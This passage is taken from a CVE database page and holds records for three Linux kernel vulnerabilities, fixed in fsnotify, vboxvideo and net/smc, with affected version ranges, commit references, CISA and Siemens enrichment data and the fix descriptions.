https://git.kernel.org/stable/c/f9a48bc3dd9099935…
https://git.kernel.org/stable/c/d8c42405fc3507cc4…
https://git.kernel.org/stable/c/fc1b1e135c3f72382…
https://git.kernel.org/stable/c/7ef1d2e240c32b1f3…
https://git.kernel.org/stable/c/172e422ffea20a89b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < 3f3ef1d9f66b93913ce2171120d9226b55acd41d (git) Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < f9a48bc3dd9099935751458a5bbbea4b7c28abc8 (git) Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < d8c42405fc3507cc43ba7e4986a773c3fc633f6e (git) Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < fc1b1e135c3f72382f792e6c319fc088d5523ad5 (git) Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < 7ef1d2e240c32b1f337a37232d037b07e3919e1a (git) Affected: 873feea09ebc980cbd3631b767356ce1eee65ec1 , < 172e422ffea20a89bfdc672741c1aad6fbb5044e (git)
Linux	Linux	Affected: 2.6.38 Unaffected: 0 , < 2.6.38 (semver) Unaffected: 5.10.226 , ≤ 5.10.* (semver) Unaffected: 5.15.167 , ≤ 5.15.* (semver) Unaffected: 6.1.109 , ≤ 6.1.* (semver) Unaffected: 6.6.50 , ≤ 6.6.* (semver) Unaffected: 6.10.9 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47660",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-10T13:23:14.677657Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-10T13:23:29.701Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:20:24.577Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:03.794Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/notify/fsnotify.c",
            "fs/notify/fsnotify.h",
            "fs/notify/mark.c",
            "include/linux/fsnotify_backend.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3f3ef1d9f66b93913ce2171120d9226b55acd41d",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            },
            {
              "lessThan": "f9a48bc3dd9099935751458a5bbbea4b7c28abc8",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            },
            {
              "lessThan": "d8c42405fc3507cc43ba7e4986a773c3fc633f6e",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            },
            {
              "lessThan": "fc1b1e135c3f72382f792e6c319fc088d5523ad5",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            },
            {
              "lessThan": "7ef1d2e240c32b1f337a37232d037b07e3919e1a",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            },
            {
              "lessThan": "172e422ffea20a89bfdc672741c1aad6fbb5044e",
              "status": "affected",
              "version": "873feea09ebc980cbd3631b767356ce1eee65ec1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/notify/fsnotify.c",
            "fs/notify/fsnotify.h",
            "fs/notify/mark.c",
            "include/linux/fsnotify_backend.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.38"
            },
            {
              "lessThan": "2.6.38",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.226",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.167",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.109",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.50",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.9",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.226",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.167",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.109",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.50",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.9",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.38",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nfsnotify: clear PARENT_WATCHED flags lazily\n\nIn some setups directories can have many (usually negative) dentries.\nHence __fsnotify_update_child_dentry_flags() function can take a\nsignificant amount of time. Since the bulk of this function happens\nunder inode-\u003ei_lock this causes a significant contention on the lock\nwhen we remove the watch from the directory as the\n__fsnotify_update_child_dentry_flags() call from fsnotify_recalc_mask()\nraces with __fsnotify_update_child_dentry_flags() calls from\n__fsnotify_parent() happening on children. This can lead upto softlockup\nreports reported by users.\n\nFix the problem by calling fsnotify_update_children_dentry_flags() to\nset PARENT_WATCHED flags only when parent starts watching children.\n\nWhen parent stops watching children, clear false positive PARENT_WATCHED\nflags lazily in __fsnotify_parent() for each accessed child."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:38:18.664Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/3f3ef1d9f66b93913ce2171120d9226b55acd41d"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9a48bc3dd9099935751458a5bbbea4b7c28abc8"
        },
        {
          "url": "https://git.kernel.org/stable/c/d8c42405fc3507cc43ba7e4986a773c3fc633f6e"
        },
        {
          "url": "https://git.kernel.org/stable/c/fc1b1e135c3f72382f792e6c319fc088d5523ad5"
        },
        {
          "url": "https://git.kernel.org/stable/c/7ef1d2e240c32b1f337a37232d037b07e3919e1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/172e422ffea20a89bfdc672741c1aad6fbb5044e"
        }
      ],
      "title": "fsnotify: clear PARENT_WATCHED flags lazily",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47660",
    "datePublished": "2024-10-09T14:02:54.884Z",
    "dateReserved": "2024-09-30T16:00:12.935Z",
    "dateUpdated": "2026-05-12T11:58:03.794Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50134 (GCVE-0-2024-50134)

Vulnerability from cvelistv5 – Published: 2024-11-05 17:10 – Updated: 2026-05-12 12:00

Title

drm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA

Summary

In the Linux kernel, the following vulnerability has been resolved: drm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA Replace the fake VLA at end of the vbva_mouse_pointer_shape shape with a real VLA to fix a "memcpy: detected field-spanning write error" warning: [ 13.319813] memcpy: detected field-spanning write (size 16896) of single field "p->data" at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 (size 4) [ 13.319841] WARNING: CPU: 0 PID: 1105 at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 hgsmi_update_pointer_shape+0x192/0x1c0 [vboxvideo] [ 13.320038] Call Trace: [ 13.320173] hgsmi_update_pointer_shape [vboxvideo] [ 13.320184] vbox_cursor_atomic_update [vboxvideo] Note as mentioned in the added comment it seems the original length calculation for the allocated and send hgsmi buffer is 4 bytes too large. Changing this is not the goal of this patch, so this behavior is kept.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/02c86c5d5ef4bbba1…
https://git.kernel.org/stable/c/75f828e944dacaac8…
https://git.kernel.org/stable/c/34a422274b6935070…
https://git.kernel.org/stable/c/7458a6cdaebb3dc59…
https://git.kernel.org/stable/c/9eb32bd23bbcec44b…
https://git.kernel.org/stable/c/fae9dc12c61ce23cf…
https://git.kernel.org/stable/c/d92b90f9a54d9300a…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < 02c86c5d5ef4bbba17d38859c74872825f536617 (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < 75f828e944dacaac8870418461d3d48a1ecf2331 (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < 34a422274b693507025a7db21519865d1862afcb (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < 7458a6cdaebb3dc59af8578ee354fae78a154c4a (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < 9eb32bd23bbcec44bcbef27b7f282b7a7f3d0391 (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < fae9dc12c61ce23cf29d09824a741b7b1ff8f01f (git) Affected: dd55d44f408419278c00887bfcb2261d0caae350 , < d92b90f9a54d9300a6e883258e79f36dab53bfae (git)
Linux	Linux	Affected: 4.13 Unaffected: 0 , < 4.13 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:25:54.618Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:00:18.917Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/vboxvideo/hgsmi_base.c",
            "drivers/gpu/drm/vboxvideo/vboxvideo.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "02c86c5d5ef4bbba17d38859c74872825f536617",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "75f828e944dacaac8870418461d3d48a1ecf2331",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "34a422274b693507025a7db21519865d1862afcb",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "7458a6cdaebb3dc59af8578ee354fae78a154c4a",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "9eb32bd23bbcec44bcbef27b7f282b7a7f3d0391",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "fae9dc12c61ce23cf29d09824a741b7b1ff8f01f",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            },
            {
              "lessThan": "d92b90f9a54d9300a6e883258e79f36dab53bfae",
              "status": "affected",
              "version": "dd55d44f408419278c00887bfcb2261d0caae350",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/gpu/drm/vboxvideo/hgsmi_base.c",
            "drivers/gpu/drm/vboxvideo/vboxvideo.h"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.13"
            },
            {
              "lessThan": "4.13",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.229",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.170",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.115",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.59",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.229",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.170",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.115",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.59",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.6",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "4.13",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA\n\nReplace the fake VLA at end of the vbva_mouse_pointer_shape shape with\na real VLA to fix a \"memcpy: detected field-spanning write error\" warning:\n\n[   13.319813] memcpy: detected field-spanning write (size 16896) of single field \"p-\u003edata\" at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 (size 4)\n[   13.319841] WARNING: CPU: 0 PID: 1105 at drivers/gpu/drm/vboxvideo/hgsmi_base.c:154 hgsmi_update_pointer_shape+0x192/0x1c0 [vboxvideo]\n[   13.320038] Call Trace:\n[   13.320173]  hgsmi_update_pointer_shape [vboxvideo]\n[   13.320184]  vbox_cursor_atomic_update [vboxvideo]\n\nNote as mentioned in the added comment it seems the original length\ncalculation for the allocated and send hgsmi buffer is 4 bytes too large.\nChanging this is not the goal of this patch, so this behavior is kept."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:46:05.995Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/02c86c5d5ef4bbba17d38859c74872825f536617"
        },
        {
          "url": "https://git.kernel.org/stable/c/75f828e944dacaac8870418461d3d48a1ecf2331"
        },
        {
          "url": "https://git.kernel.org/stable/c/34a422274b693507025a7db21519865d1862afcb"
        },
        {
          "url": "https://git.kernel.org/stable/c/7458a6cdaebb3dc59af8578ee354fae78a154c4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/9eb32bd23bbcec44bcbef27b7f282b7a7f3d0391"
        },
        {
          "url": "https://git.kernel.org/stable/c/fae9dc12c61ce23cf29d09824a741b7b1ff8f01f"
        },
        {
          "url": "https://git.kernel.org/stable/c/d92b90f9a54d9300a6e883258e79f36dab53bfae"
        }
      ],
      "title": "drm/vboxvideo: Replace fake VLA at end of vbva_mouse_pointer_shape with real VLA",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50134",
    "datePublished": "2024-11-05T17:10:58.939Z",
    "dateReserved": "2024-10-21T19:36:19.955Z",
    "dateUpdated": "2026-05-12T12:00:18.917Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35934 (GCVE-0-2024-35934)

Vulnerability from cvelistv5 – Published: 2024-05-19 10:10 – Updated: 2026-05-12 11:52

Title

net/smc: reduce rtnl pressure in smc_pnet_create_pnetids_list()

Summary

In the Linux kernel, the following vulnerability has been resolved: net/smc: reduce rtnl pressure in smc_pnet_create_pnetids_list() Many syzbot reports show extreme rtnl pressure, and many of them hint that smc acquires rtnl in netns creation for no good reason [1] This patch returns early from smc_pnet_net_init() if there is no netdevice yet. I am not even sure why smc_pnet_create_pnetids_list() even exists, because smc_pnet_netdev_event() is also calling smc_pnet_add_base_pnetid() when handling NETDEV_UP event. [1] extract of typical syzbot reports 2 locks held by syz-executor.3/12252: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.4/12253: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.1/12257: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.2/12261: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.0/12265: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.3/12268: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.4/12271: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.1/12274: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878 2 locks held by syz-executor.2/12280: #0: ffffffff8f369610 (pernet_ops_rwsem){++++}-{3:3}, at: copy_net_ns+0x4c7/0x7b0 net/core/net_namespace.c:491 #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_create_pnetids_list net/smc/smc_pnet.c:809 [inline] #1: ffffffff8f375b88 (rtnl_mutex){+.+.}-{3:3}, at: smc_pnet_net_init+0x10a/0x1e0 net/smc/smc_pnet.c:878

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/bc4d1ebca11b4f194…
https://git.kernel.org/stable/c/b9117dc783c0ab0a3…
https://git.kernel.org/stable/c/d7ee3bf0caf599c14…
https://git.kernel.org/stable/c/a2e6bffc0388526ed…
https://git.kernel.org/stable/c/6e920422e7104928f…
https://git.kernel.org/stable/c/00af2aa93b76b1bad…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < bc4d1ebca11b4f194e262326bd45938e857c59d2 (git) Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < b9117dc783c0ab0a3866812f70e07bf2ea071ac4 (git) Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < d7ee3bf0caf599c14db0bf4af7aacd6206ef8a23 (git) Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < a2e6bffc0388526ed10406040279a693d62b36ec (git) Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < 6e920422e7104928f760fc0e12b6d65ab097a2e7 (git) Affected: e888a2e8337c96dd785d204cf8ff775e79173add , < 00af2aa93b76b1bade471ad0d0525d4d29ca5cc0 (git)
Linux	Linux	Affected: 5.10 Unaffected: 0 , < 5.10 (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.155 , ≤ 5.15.* (semver) Unaffected: 6.1.86 , ≤ 6.1.* (semver) Unaffected: 6.6.27 , ≤ 6.6.* (semver) Unaffected: 6.8.6 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.966Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bc4d1ebca11b4f194e262326bd45938e857c59d2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b9117dc783c0ab0a3866812f70e07bf2ea071ac4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d7ee3bf0caf599c14db0bf4af7aacd6206ef8a23"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a2e6bffc0388526ed10406040279a693d62b36ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6e920422e7104928f760fc0e12b6d65ab097a2e7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/00af2aa93b76b1bade471ad0d0525d4d29ca5cc0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35934",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T15:40:58.599297Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:33:15.404Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
